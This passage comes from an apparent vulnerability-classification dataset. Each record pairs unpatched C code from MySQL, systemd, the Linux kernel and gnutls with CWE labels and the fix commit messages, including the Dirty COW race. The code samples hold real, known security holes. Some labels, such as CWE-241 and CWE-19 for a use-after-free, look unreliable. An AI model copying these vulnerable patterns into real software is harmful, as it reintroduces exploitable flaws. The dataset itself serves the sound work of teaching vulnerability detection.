Avoid twice printing of isam file name */\n param->error_printed=1;\n switch (my_errno) {\n case HA_ERR_CRASHED:\n mi_check_print_error(param,\"'%s' doesn't have a correct index definition. You need to recreate it before you can do a repair\",filename);\n break;\n case HA_ERR_NOT_A_TABLE:\n mi_check_print_error(param,\"'%s' is not a MyISAM-table\",filename);\n break;\n case HA_ERR_CRASHED_ON_USAGE:\n mi_check_print_error(param,\"'%s' is marked as crashed\",filename);\n break;\n case HA_ERR_CRASHED_ON_REPAIR:\n mi_check_print_error(param,\"'%s' is marked as crashed after last repair\",filename);\n break;\n case HA_ERR_OLD_FILE:\n mi_check_print_error(param,\"'%s' is an old type of MyISAM-table\", filename);\n break;\n case HA_ERR_END_OF_FILE:\n mi_check_print_error(param,\"Couldn't read complete header from '%s'\", filename);\n break;\n case EAGAIN:\n mi_check_print_error(param,\"'%s' is locked. Use -w to wait until unlocked\",filename);\n break;\n case ENOENT:\n mi_check_print_error(param,\"File '%s' doesn't exist\",filename);\n break;\n case EACCES:\n mi_check_print_error(param,\"You don't have permission to use '%s'\",filename);\n break;\n default:\n mi_check_print_error(param,\"%d when opening MyISAM-table '%s'\",\n\t\t my_errno,filename);\n break;\n }\n DBUG_RETURN(1);\n }\n share=info->s;\n share->options&= ~HA_OPTION_READ_ONLY_DATA; /* We are modifing it */\n share->tot_locks-= share->r_locks;\n share->r_locks=0;\n\n /*\n Skip the checking of the file if:\n We are using --fast and the table is closed properly\n We are using --check-only-changed-tables and the table hasn't changed\n */\n if (param->testflag & (T_FAST | T_CHECK_ONLY_CHANGED))\n {\n my_bool need_to_check= mi_is_crashed(info) || share->state.open_count != 0;\n\n if ((param->testflag & (T_REP_ANY | T_SORT_RECORDS)) &&\n\t((share->state.changed & (STATE_CHANGED | STATE_CRASHED |\n\t\t\t\t STATE_CRASHED_ON_REPAIR) ||\n\t !(param->testflag & T_CHECK_ONLY_CHANGED))))\n need_to_check=1;\n\n if (info->s->base.keys && info->state->records)\n {\n if ((param->testflag & T_STATISTICS) &&\n (share->state.changed & STATE_NOT_ANALYZED))\n need_to_check=1;\n if ((param->testflag & T_SORT_INDEX) &&\n (share->state.changed & STATE_NOT_SORTED_PAGES))\n need_to_check=1;\n if ((param->testflag & T_REP_BY_SORT) &&\n (share->state.changed & STATE_NOT_OPTIMIZED_KEYS))\n need_to_check=1;\n }\n if ((param->testflag & T_CHECK_ONLY_CHANGED) &&\n\t(share->state.changed & (STATE_CHANGED | STATE_CRASHED |\n\t\t\t\t STATE_CRASHED_ON_REPAIR)))\n need_to_check=1;\n if (!need_to_check)\n {\n if (!(param->testflag & T_SILENT) || param->testflag & T_INFO)\n\tprintf(\"MyISAM file: %s is already checked\\n\",filename);\n if (mi_close(info))\n {\n\tmi_check_print_error(param,\"%d when closing MyISAM-table '%s'\",\n\t\t\t my_errno,filename);\n\tDBUG_RETURN(1);\n }\n DBUG_RETURN(0);\n }\n }\n if ((param->testflag & (T_REP_ANY | T_STATISTICS |\n\t\t\t T_SORT_RECORDS | T_SORT_INDEX)) &&\n (((param->testflag & T_UNPACK) &&\n\tshare->data_file_type == COMPRESSED_RECORD) ||\n mi_uint2korr(share->state.header.state_info_length) !=\n MI_STATE_INFO_SIZE ||\n mi_uint2korr(share->state.header.base_info_length) !=\n MI_BASE_INFO_SIZE ||\n mi_is_any_intersect_keys_active(param->keys_in_use, share->base.keys,\n ~share->state.key_map) ||\n test_if_almost_full(info) ||\n info->s->state.header.file_version[3] != myisam_file_magic[3] ||\n (set_collation &&\n set_collation->number != share->state.header.language) ||\n myisam_block_size != MI_KEY_BLOCK_LENGTH))\n {\n if (set_collation)\n param->language= set_collation->number;\n if (recreate_table(param, &info,filename))\n {\n (void) fprintf(stderr,\n\t\t \"MyISAM-table '%s' is not fixed because of errors\\n\",\n\t filename);\n return(-1);\n }\n recreate=1;\n if (!(param->testflag & T_REP_ANY))\n {\n param->testflag|=T_REP_BY_SORT;\t\t/* if only STATISTICS */\n if (!(param->testflag & T_SILENT))\n\tprintf(\"- '%s' has old table-format. Recreating index\\n\",filename);\n rep_quick|=T_QUICK;\n }\n share=info->s;\n share->tot_locks-= share->r_locks;\n share->r_locks=0;\n }\n\n if (param->testflag & T_DESCRIPT)\n {\n param->total_files++;\n param->total_records+=info->state->records;\n param->total_deleted+=info->state->del;\n descript(param, info, filename);\n }\n else\n {\n if (!stopwords_inited++)\n ft_init_stopwords();\n\n if (!(param->testflag & T_READONLY))\n lock_type = F_WRLCK;\t\t\t/* table is changed */\n else\n lock_type= F_RDLCK;\n if (info->lock_type == F_RDLCK)\n info->lock_type=F_UNLCK;\t\t\t/* Read only table */\n if (_mi_readinfo(info,lock_type,0))\n {\n mi_check_print_error(param,\"Can't lock indexfile of '%s', error: %d\",\n\t\t filename,my_errno);\n param->error_printed=0;\n goto end2;\n }\n /*\n _mi_readinfo() has locked the table.\n We mark the table as locked (without doing file locks) to be able to\n use functions that only works on locked tables (like row caching).\n */\n mi_lock_database(info, F_EXTRA_LCK);\n datafile=info->dfile;\n\n if (param->testflag & (T_REP_ANY | T_SORT_RECORDS | T_SORT_INDEX))\n {\n if (param->testflag & T_REP_ANY)\n {\n\tulonglong tmp=share->state.key_map;\n\tmi_copy_keys_active(share->state.key_map, share->base.keys,\n param->keys_in_use);\n\tif (tmp != share->state.key_map)\n\t info->update|=HA_STATE_CHANGED;\n }\n if (rep_quick && chk_del(param, info, param->testflag & ~T_VERBOSE))\n {\n\tif (param->testflag & T_FORCE_CREATE)\n\t{\n\t rep_quick=0;\n\t mi_check_print_info(param,\"Creating new data file\\n\");\n\t}\n\telse\n\t{\n\t error=1;\n\t mi_check_print_error(param,\n\t\t\t \"Quick-recover aborted; Run recovery without switch 'q'\");\n\t}\n }\n if (!error)\n {\n\tif ((param->testflag & (T_REP_BY_SORT | T_REP_PARALLEL)) &&\n\t (mi_is_any_key_active(share->state.key_map) ||\n\t (rep_quick && !param->keys_in_use && !recreate)) &&\n\t mi_test_if_sort_rep(info, info->state->records,\n\t\t\t\tinfo->s->state.key_map,\n\t\t\t\tparam->force_sort))\n\t{\n if (param->testflag & T_REP_BY_SORT)\n error=mi_repair_by_sort(param,info,filename,rep_quick);\n else\n error=mi_repair_parallel(param,info,filename,rep_quick);\n\t state_updated=1;\n\t}\n\telse if (param->testflag & T_REP_ANY)\n\t error=mi_repair(param, info,filename,rep_quick);\n }\n if (!error && param->testflag & T_SORT_RECORDS)\n {\n\t/*\n\t The data file is nowadays reopened in the repair code so we should\n\t soon remove the following reopen-code\n\t*/\n#ifndef TO_BE_REMOVED\n\tif (param->out_flag & O_NEW_DATA)\n\t{\t\t\t/* Change temp file to org file */\n\t (void) my_close(info->dfile,MYF(MY_WME)); /* Close new file */\n\t error|=change_to_newfile(filename, MI_NAME_DEXT, DATA_TMP_EXT, MYF(0));\n\t if (mi_open_datafile(info,info->s, NULL, -1))\n\t error=1;\n\t param->out_flag&= ~O_NEW_DATA; /* We are using new datafile */\n\t param->read_cache.file=info->dfile;\n\t}\n#endif\n\tif (! error)\n\t{\n\t uint key;\n\t /*\n\t We can't update the index in mi_sort_records if we have a\n\t prefix compressed or fulltext index\n\t */\n\t my_bool update_index=1;\n\t for (key=0 ; key < share->base.keys; key++)\n\t if (share->keyinfo[key].flag & (HA_BINARY_PACK_KEY|HA_FULLTEXT))\n\t update_index=0;\n\n\t error=mi_sort_records(param,info,filename,param->opt_sort_key,\n /* what is the following parameter for ? */\n\t\t\t\t(my_bool) !(param->testflag & T_REP),\n\t\t\t\tupdate_index);\n\t datafile=info->dfile;\t/* This is now locked */\n\t if (!error && !update_index)\n\t {\n\t if (param->verbose)\n\t puts(\"Table had a compressed index; We must now recreate the index\");\n\t error=mi_repair_by_sort(param,info,filename,1);\n\t }\n\t}\n }\n if (!error && param->testflag & T_SORT_INDEX)\n\terror=mi_sort_index(param,info,filename);\n if (!error)\n\tshare->state.changed&= ~(STATE_CHANGED | STATE_CRASHED |\n\t\t\t\t STATE_CRASHED_ON_REPAIR);\n else\n\tmi_mark_crashed(info);\n }\n else if ((param->testflag & T_CHECK) || !(param->testflag & T_AUTO_INC))\n {\n if (!(param->testflag & T_SILENT) || param->testflag & T_INFO)\n\tprintf(\"Checking MyISAM file: %s\\n\",filename);\n if (!(param->testflag & T_SILENT))\n\tprintf(\"Data records: %7s Deleted blocks: %7s\\n\",\n\t llstr(info->state->records,llbuff),\n\t llstr(info->state->del,llbuff2));\n error =chk_status(param,info);\n mi_intersect_keys_active(share->state.key_map, param->keys_in_use);\n error =chk_size(param,info);\n if (!error || !(param->testflag & (T_FAST | T_FORCE_CREATE)))\n\terror|=chk_del(param, info,param->testflag);\n if ((!error || (!(param->testflag & (T_FAST | T_FORCE_CREATE)) &&\n\t\t !param->start_check_pos)))\n {\n\terror|=chk_key(param, info);\n\tif (!error && (param->testflag & (T_STATISTICS | T_AUTO_INC)))\n\t error=update_state_info(param, info,\n\t\t\t\t ((param->testflag & T_STATISTICS) ?\n\t\t\t\t UPDATE_STAT : 0) |\n\t\t\t\t ((param->testflag & T_AUTO_INC) ?\n\t\t\t\t UPDATE_AUTO_INC : 0));\n }\n if ((!rep_quick && !error) ||\n\t !(param->testflag & (T_FAST | T_FORCE_CREATE)))\n {\n\tif (param->testflag & (T_EXTEND | T_MEDIUM))\n\t (void) init_key_cache(dflt_key_cache,opt_key_cache_block_size,\n param->use_buffers, 0, 0);\n\t(void) init_io_cache(¶m->read_cache,datafile,\n\t\t\t (uint) param->read_buffer_length,\n\t\t\t READ_CACHE,\n\t\t\t (param->start_check_pos ?\n\t\t\t param->start_check_pos :\n\t\t\t share->pack.header_length),\n\t\t\t 1,\n\t\t\t MYF(MY_WME));\n\tlock_memory(param);\n\tif ((info->s->options & (HA_OPTION_PACK_RECORD |\n\t\t\t\t HA_OPTION_COMPRESS_RECORD)) ||\n\t (param->testflag & (T_EXTEND | T_MEDIUM)))\n\t error|=chk_data_link(param, info, param->testflag & T_EXTEND);\n\terror|=flush_blocks(param, share->key_cache, share->kfile);\n\t(void) end_io_cache(¶m->read_cache);\n }\n if (!error)\n {\n\tif ((share->state.changed & STATE_CHANGED) &&\n\t (param->testflag & T_UPDATE_STATE))\n\t info->update|=HA_STATE_CHANGED | HA_STATE_ROW_CHANGED;\n\tshare->state.changed&= ~(STATE_CHANGED | STATE_CRASHED |\n\t\t\t\t STATE_CRASHED_ON_REPAIR);\n }\n else if (!mi_is_crashed(info) &&\n\t (param->testflag & T_UPDATE_STATE))\n {\t\t\t\t\t\t/* Mark crashed */\n\tmi_mark_crashed(info);\n\tinfo->update|=HA_STATE_CHANGED | HA_STATE_ROW_CHANGED;\n }\n }\n }\n if ((param->testflag & T_AUTO_INC) ||\n ((param->testflag & T_REP_ANY) && info->s->base.auto_key))\n update_auto_increment_key(param, info,\n\t\t\t (my_bool) !test(param->testflag & T_AUTO_INC));\n\n if (!(param->testflag & T_DESCRIPT))\n {\n if (info->update & HA_STATE_CHANGED && ! (param->testflag & T_READONLY))\n error|=update_state_info(param, info,\n\t\t\t UPDATE_OPEN_COUNT |\n\t\t\t (((param->testflag & T_REP_ANY) ?\n\t\t\t\t UPDATE_TIME : 0) |\n\t\t\t\t(state_updated ? UPDATE_STAT : 0) |\n\t\t\t\t((param->testflag & T_SORT_RECORDS) ?\n\t\t\t\t UPDATE_SORT : 0)));\n (void) lock_file(param, share->kfile,0L,F_UNLCK,\"indexfile\",filename);\n info->update&= ~HA_STATE_CHANGED;\n }\n mi_lock_database(info, F_UNLCK);\nend2:\n if (mi_close(info))\n {\n mi_check_print_error(param,\"%d when closing MyISAM-table '%s'\",my_errno,filename);\n DBUG_RETURN(1);\n }\n if (error == 0)\n {\n if (param->out_flag & O_NEW_DATA)\n error|=change_to_newfile(filename,MI_NAME_DEXT,DATA_TMP_EXT,\n\t\t\t ((param->testflag & T_BACKUP_DATA) ?\n\t\t\t\tMYF(MY_REDEL_MAKE_BACKUP) : MYF(0)));\n if (param->out_flag & O_NEW_INDEX)\n error|=change_to_newfile(filename, MI_NAME_IEXT, INDEX_TMP_EXT, MYF(0));\n }\n (void) fflush(stdout); (void) fflush(stderr);\n if (param->error_printed)\n {\n if (param->testflag & (T_REP_ANY | T_SORT_RECORDS | T_SORT_INDEX))\n {\n (void) fprintf(stderr,\n\t\t \"MyISAM-table '%s' is not fixed because of errors\\n\",\n\t\t filename);\n if (param->testflag & T_REP_ANY)\n\t(void) fprintf(stderr,\n\t\t \"Try fixing it by using the --safe-recover (-o), the --force (-f) option or by not using the --quick (-q) flag\\n\");\n }\n else if (!(param->error_printed & 2) &&\n\t !(param->testflag & T_FORCE_CREATE))\n (void) fprintf(stderr,\n \"MyISAM-table '%s' is corrupted\\nFix it using switch \\\"-r\\\" or \\\"-o\\\"\\n\",\n\t filename);\n }\n else if (param->warning_printed &&\n\t ! (param->testflag & (T_REP_ANY | T_SORT_RECORDS | T_SORT_INDEX |\n\t\t\t T_FORCE_CREATE)))\n (void) fprintf(stderr, \"MyISAM-table '%s' is usable but should be fixed\\n\",\n\t\t filename);\n (void) fflush(stderr);\n DBUG_RETURN(error);\n} /* myisamchk */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'Bug#24388746: PRIVILEGE ESCALATION AND RACE CONDITION USING CREATE TABLE\n\nDuring REPAIR TABLE of a MyISAM table, a temporary data file (.TMD)\nis created. When repair finishes, this file is renamed to the original\n.MYD file. The problem was that during this rename, we copied the\nstats from the old file to the new file with chmod/chown. If a user\nmanaged to replace the temporary file before chmod/chown was executed,\nit was possible to get an arbitrary file with the privileges of the\nmysql user.\n\nThis patch fixes the problem by not copying stats from the old\nfile to the new file. This is not needed as the new file was\ncreated with the correct stats. This fix only changes server\nbehavior - external utilities such as myisamchk still does\nchmod/chown.\n\nNo test case provided since the problem involves synchronization\nwith file system operations.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int manager_dispatch_notify_fd(sd_event_source *source, int fd, uint32_t revents, void *userdata) {\n\n _cleanup_fdset_free_ FDSet *fds = NULL;\n Manager *m = userdata;\n char buf[NOTIFY_BUFFER_MAX+1];\n struct iovec iovec = {\n .iov_base = buf,\n .iov_len = sizeof(buf)-1,\n };\n union {\n struct cmsghdr cmsghdr;\n uint8_t buf[CMSG_SPACE(sizeof(struct ucred)) +\n CMSG_SPACE(sizeof(int) * NOTIFY_FD_MAX)];\n } control = {};\n struct msghdr msghdr = {\n .msg_iov = &iovec,\n .msg_iovlen = 1,\n .msg_control = &control,\n .msg_controllen = sizeof(control),\n };\n\n struct cmsghdr *cmsg;\n struct ucred *ucred = NULL;\n bool found = false;\n Unit *u1, *u2, *u3;\n int r, *fd_array = NULL;\n unsigned n_fds = 0;\n ssize_t n;\n\n assert(m);\n assert(m->notify_fd == fd);\n\n if (revents != EPOLLIN) {\n log_warning(\"Got unexpected poll event for notify fd.\");\n return 0;\n }\n\n n = recvmsg(m->notify_fd, &msghdr, MSG_DONTWAIT|MSG_CMSG_CLOEXEC);\n if (n < 0) {\n if (errno == EAGAIN || errno == EINTR)\n return 0;\n\n return -errno;\n }\n\n CMSG_FOREACH(cmsg, &msghdr) {\n if (cmsg->cmsg_level == SOL_SOCKET && cmsg->cmsg_type == SCM_RIGHTS) {\n\n fd_array = (int*) CMSG_DATA(cmsg);\n n_fds = (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int);\n\n } else if (cmsg->cmsg_level == SOL_SOCKET &&\n cmsg->cmsg_type == SCM_CREDENTIALS &&\n cmsg->cmsg_len == CMSG_LEN(sizeof(struct ucred))) {\n\n ucred = (struct ucred*) CMSG_DATA(cmsg);\n }\n }\n\n if (n_fds > 0) {\n assert(fd_array);\n\n r = fdset_new_array(&fds, fd_array, n_fds);\n if (r < 0) {\n close_many(fd_array, n_fds);\n return log_oom();\n }\n }\n\n if (!ucred || ucred->pid <= 0) {\n log_warning(\"Received notify message without valid credentials. Ignoring.\");\n return 0;\n }\n\n if ((size_t) n >= sizeof(buf)) {\n log_warning(\"Received notify message exceeded maximum size. Ignoring.\");\n return 0;\n }\n\n buf[n] = 0;\n\n /* Notify every unit that might be interested, but try\n * to avoid notifying the same one multiple times. */\n u1 = manager_get_unit_by_pid_cgroup(m, ucred->pid);\n if (u1) {\n manager_invoke_notify_message(m, u1, ucred->pid, buf, n, fds);\n found = true;\n }\n\n u2 = hashmap_get(m->watch_pids1, PID_TO_PTR(ucred->pid));\n if (u2 && u2 != u1) {\n manager_invoke_notify_message(m, u2, ucred->pid, buf, n, fds);\n found = true;\n }\n\n u3 = hashmap_get(m->watch_pids2, PID_TO_PTR(ucred->pid));\n if (u3 && u3 != u2 && u3 != u1) {\n manager_invoke_notify_message(m, u3, ucred->pid, buf, n, fds);\n found = true;\n }\n\n if (!found)\n log_warning(\"Cannot find unit for notify message of PID \"PID_FMT\".\", ucred->pid);\n\n if (fdset_size(fds) > 0)\n log_warning(\"Got auxiliary fds with notification message, closing all.\");\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'If the notification message length is 0, ignore the message (#4237)\n\nFixes #4234.\n\nSigned-off-by: Jorge Niedbalski '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: asmlinkage long sys_oabi_semtimedop(int semid,\n\t\t\t\t struct oabi_sembuf __user *tsops,\n\t\t\t\t unsigned nsops,\n\t\t\t\t const struct timespec __user *timeout)\n{\n\tstruct sembuf *sops;\n\tstruct timespec local_timeout;\n\tlong err;\n\tint i;\n\n\tif (nsops < 1 || nsops > SEMOPM)\n\t\treturn -EINVAL;\n\tsops = kmalloc(sizeof(*sops) * nsops, GFP_KERNEL);\n\tif (!sops)\n\t\treturn -ENOMEM;\n\terr = 0;\n\tfor (i = 0; i < nsops; i++) {\n\t\t__get_user_error(sops[i].sem_num, &tsops->sem_num, err);\n\t\t__get_user_error(sops[i].sem_op, &tsops->sem_op, err);\n\t\t__get_user_error(sops[i].sem_flg, &tsops->sem_flg, err);\n\t\ttsops++;\n\t}\n\tif (timeout) {\n\t\t/* copy this as well before changing domain protection */\n\t\terr |= copy_from_user(&local_timeout, timeout, sizeof(*timeout));\n\t\ttimeout = &local_timeout;\n\t}\n\tif (err) {\n\t\terr = -EFAULT;\n\t} else {\n\t\tmm_segment_t fs = get_fs();\n\t\tset_fs(KERNEL_DS);\n\t\terr = sys_semtimedop(semid, sops, nsops, timeout);\n\t\tset_fs(fs);\n\t}\n\tkfree(sops);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'arm: oabi compat: add missing access checks\n\nAdd access checks to sys_oabi_epoll_wait() and sys_oabi_semtimedop().\nThis fixes CVE-2016-3857, a local privilege escalation under\nCONFIG_OABI_COMPAT.\n\nCc: stable@vger.kernel.org\nReported-by: Chiachih Wu \nReviewed-by: Kees Cook \nReviewed-by: Nicolas Pitre \nSigned-off-by: Dave Weinstein \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,\n\t\t unsigned int flags, struct timespec *timeout)\n{\n\tint fput_needed, err, datagrams;\n\tstruct socket *sock;\n\tstruct mmsghdr __user *entry;\n\tstruct compat_mmsghdr __user *compat_entry;\n\tstruct msghdr msg_sys;\n\tstruct timespec end_time;\n\n\tif (timeout &&\n\t poll_select_set_timeout(&end_time, timeout->tv_sec,\n\t\t\t\t timeout->tv_nsec))\n\t\treturn -EINVAL;\n\n\tdatagrams = 0;\n\n\tsock = sockfd_lookup_light(fd, &err, &fput_needed);\n\tif (!sock)\n\t\treturn err;\n\n\terr = sock_error(sock->sk);\n\tif (err)\n\t\tgoto out_put;\n\n\tentry = mmsg;\n\tcompat_entry = (struct compat_mmsghdr __user *)mmsg;\n\n\twhile (datagrams < vlen) {\n\t\t/*\n\t\t * No need to ask LSM for more than the first datagram.\n\t\t */\n\t\tif (MSG_CMSG_COMPAT & flags) {\n\t\t\terr = ___sys_recvmsg(sock, (struct user_msghdr __user *)compat_entry,\n\t\t\t\t\t &msg_sys, flags & ~MSG_WAITFORONE,\n\t\t\t\t\t datagrams);\n\t\t\tif (err < 0)\n\t\t\t\tbreak;\n\t\t\terr = __put_user(err, &compat_entry->msg_len);\n\t\t\t++compat_entry;\n\t\t} else {\n\t\t\terr = ___sys_recvmsg(sock,\n\t\t\t\t\t (struct user_msghdr __user *)entry,\n\t\t\t\t\t &msg_sys, flags & ~MSG_WAITFORONE,\n\t\t\t\t\t datagrams);\n\t\t\tif (err < 0)\n\t\t\t\tbreak;\n\t\t\terr = put_user(err, &entry->msg_len);\n\t\t\t++entry;\n\t\t}\n\n\t\tif (err)\n\t\t\tbreak;\n\t\t++datagrams;\n\n\t\t/* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */\n\t\tif (flags & MSG_WAITFORONE)\n\t\t\tflags |= MSG_DONTWAIT;\n\n\t\tif (timeout) {\n\t\t\tktime_get_ts(timeout);\n\t\t\t*timeout = timespec_sub(end_time, *timeout);\n\t\t\tif (timeout->tv_sec < 0) {\n\t\t\t\ttimeout->tv_sec = timeout->tv_nsec = 0;\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t/* Timeout, return less than vlen datagrams */\n\t\t\tif (timeout->tv_nsec == 0 && timeout->tv_sec == 0)\n\t\t\t\tbreak;\n\t\t}\n\n\t\t/* Out of band data, return right away */\n\t\tif (msg_sys.msg_flags & MSG_OOB)\n\t\t\tbreak;\n\t\tcond_resched();\n\t}\n\nout_put:\n\tfput_light(sock->file, fput_needed);\n\n\tif (err == 0)\n\t\treturn datagrams;\n\n\tif (datagrams != 0) {\n\t\t/*\n\t\t * We may return less entries than requested (vlen) if the\n\t\t * sock is non block and there aren't enough datagrams...\n\t\t */\n\t\tif (err != -EAGAIN) {\n\t\t\t/*\n\t\t\t * ... or if recvmsg returns an error after we\n\t\t\t * received some datagrams, where we record the\n\t\t\t * error to return on the next call or if the\n\t\t\t * app asks about it using getsockopt(SO_ERROR).\n\t\t\t */\n\t\t\tsock->sk->sk_err = -err;\n\t\t}\n\n\t\treturn datagrams;\n\t}\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-241', 'CWE-19'], 'message': 'net: Fix use after free in the recvmmsg exit path\n\nThe syzkaller fuzzer hit the following use-after-free:\n\n Call Trace:\n [] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:295\n [] __sys_recvmmsg+0x6fa/0x7f0 net/socket.c:2261\n [< inline >] SYSC_recvmmsg net/socket.c:2281\n [] SyS_recvmmsg+0x16f/0x180 net/socket.c:2270\n [] entry_SYSCALL_64_fastpath+0x16/0x7a\n arch/x86/entry/entry_64.S:185\n\nAnd, as Dmitry rightly assessed, that is because we can drop the\nreference and then touch it when the underlying recvmsg calls return\nsome packets and then hit an error, which will make recvmmsg to set\nsock->sk->sk_err, oops, fix it.\n\nReported-and-Tested-by: Dmitry Vyukov \nCc: Alexander Potapenko \nCc: Eric Dumazet \nCc: Kostya Serebryany \nCc: Sasha Levin \nFixes: a2e2725541fa (\"net: Introduce recvmmsg socket syscall\")\nhttp://lkml.kernel.org/r/20160122211644.GC2470@redhat.com\nSigned-off-by: Arnaldo Carvalho de Melo \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,\n\t\tunsigned long address, unsigned int *flags, int *nonblocking)\n{\n\tunsigned int fault_flags = 0;\n\tint ret;\n\n\t/* mlock all present pages, but do not fault in new pages */\n\tif ((*flags & (FOLL_POPULATE | FOLL_MLOCK)) == FOLL_MLOCK)\n\t\treturn -ENOENT;\n\t/* For mm_populate(), just skip the stack guard page. */\n\tif ((*flags & FOLL_POPULATE) &&\n\t\t\t(stack_guard_page_start(vma, address) ||\n\t\t\t stack_guard_page_end(vma, address + PAGE_SIZE)))\n\t\treturn -ENOENT;\n\tif (*flags & FOLL_WRITE)\n\t\tfault_flags |= FAULT_FLAG_WRITE;\n\tif (*flags & FOLL_REMOTE)\n\t\tfault_flags |= FAULT_FLAG_REMOTE;\n\tif (nonblocking)\n\t\tfault_flags |= FAULT_FLAG_ALLOW_RETRY;\n\tif (*flags & FOLL_NOWAIT)\n\t\tfault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;\n\tif (*flags & FOLL_TRIED) {\n\t\tVM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);\n\t\tfault_flags |= FAULT_FLAG_TRIED;\n\t}\n\n\tret = handle_mm_fault(vma, address, fault_flags);\n\tif (ret & VM_FAULT_ERROR) {\n\t\tif (ret & VM_FAULT_OOM)\n\t\t\treturn -ENOMEM;\n\t\tif (ret & (VM_FAULT_HWPOISON | VM_FAULT_HWPOISON_LARGE))\n\t\t\treturn *flags & FOLL_HWPOISON ? -EHWPOISON : -EFAULT;\n\t\tif (ret & (VM_FAULT_SIGBUS | VM_FAULT_SIGSEGV))\n\t\t\treturn -EFAULT;\n\t\tBUG();\n\t}\n\n\tif (tsk) {\n\t\tif (ret & VM_FAULT_MAJOR)\n\t\t\ttsk->maj_flt++;\n\t\telse\n\t\t\ttsk->min_flt++;\n\t}\n\n\tif (ret & VM_FAULT_RETRY) {\n\t\tif (nonblocking)\n\t\t\t*nonblocking = 0;\n\t\treturn -EBUSY;\n\t}\n\n\t/*\n\t * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when\n\t * necessary, even if maybe_mkwrite decided not to set pte_write. We\n\t * can thus safely do subsequent page lookups as if they were reads.\n\t * But only do so when looping for pte_write is futile: in some cases\n\t * userspace may also be wanting to write to the gotten user page,\n\t * which a read fault here might prevent (a readonly page might get\n\t * reCOWed by userspace write).\n\t */\n\tif ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))\n\t\t*flags &= ~FOLL_WRITE;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'mm: remove gup_flags FOLL_WRITE games from __get_user_pages()\n\nThis is an ancient bug that was actually attempted to be fixed once\n(badly) by me eleven years ago in commit 4ceb5db9757a (\"Fix\nget_user_pages() race for write access\") but that was then undone due to\nproblems on s390 by commit f33ea7f404e5 (\"fix get_user_pages bug\").\n\nIn the meantime, the s390 situation has long been fixed, and we can now\nfix it by checking the pte_dirty() bit properly (and do it better). The\ns390 dirty bit was implemented in abf09bed3cce (\"s390/mm: implement\nsoftware dirty bits\") which made it into v3.9. Earlier kernels will\nhave to look at the page state itself.\n\nAlso, the VM has become more scalable, and what used a purely\ntheoretical race back then has become easier to trigger.\n\nTo fix it, we introduce a new internal FOLL_COW flag to mark the \"yes,\nwe already did a COW\" rather than play racy games with FOLL_WRITE that\nis very fundamental, and then use the pte dirty flag to validate that\nthe FOLL_COW flag is still valid.\n\nReported-and-tested-by: Phil \"not Paul\" Oester \nAcked-by: Hugh Dickins \nReviewed-by: Michal Hocko \nCc: Andy Lutomirski \nCc: Kees Cook \nCc: Oleg Nesterov \nCc: Willy Tarreau \nCc: Nick Piggin \nCc: Greg Thelen \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void _gnutls_handshake_internal_state_init(gnutls_session_t session)\n{\n\t/* by default no selected certificate */\n\tsession->internals.adv_version_major = 0;\n\tsession->internals.adv_version_minor = 0;\n\tsession->internals.direction = 0;\n\n\t/* use out of band data for the last\n\t * handshake messages received.\n\t */\n\tsession->internals.last_handshake_in = -1;\n\tsession->internals.last_handshake_out = -1;\n\n\tsession->internals.resumable = RESUME_TRUE;\n\n\tsession->internals.handshake_large_loops = 0;\n\tsession->internals.dtls.hsk_read_seq = 0;\n\tsession->internals.dtls.hsk_write_seq = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400'], 'message': 'handshake: set a maximum number of warning messages that can be received per handshake\n\nThat is to avoid DoS due to the assymetry of cost of sending an alert vs the cost\nof processing.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int main(int argc, char **argv)\n{\n\tint fmtid;\n\tint id;\n\tchar *infile;\n\tjas_stream_t *instream;\n\tjas_image_t *image;\n\tint width;\n\tint height;\n\tint depth;\n\tint numcmpts;\n\tint verbose;\n\tchar *fmtname;\n\n\tif (jas_init()) {\n\t\tabort();\n\t}\n\n\tcmdname = argv[0];\n\n\tinfile = 0;\n\tverbose = 0;\n\n\t/* 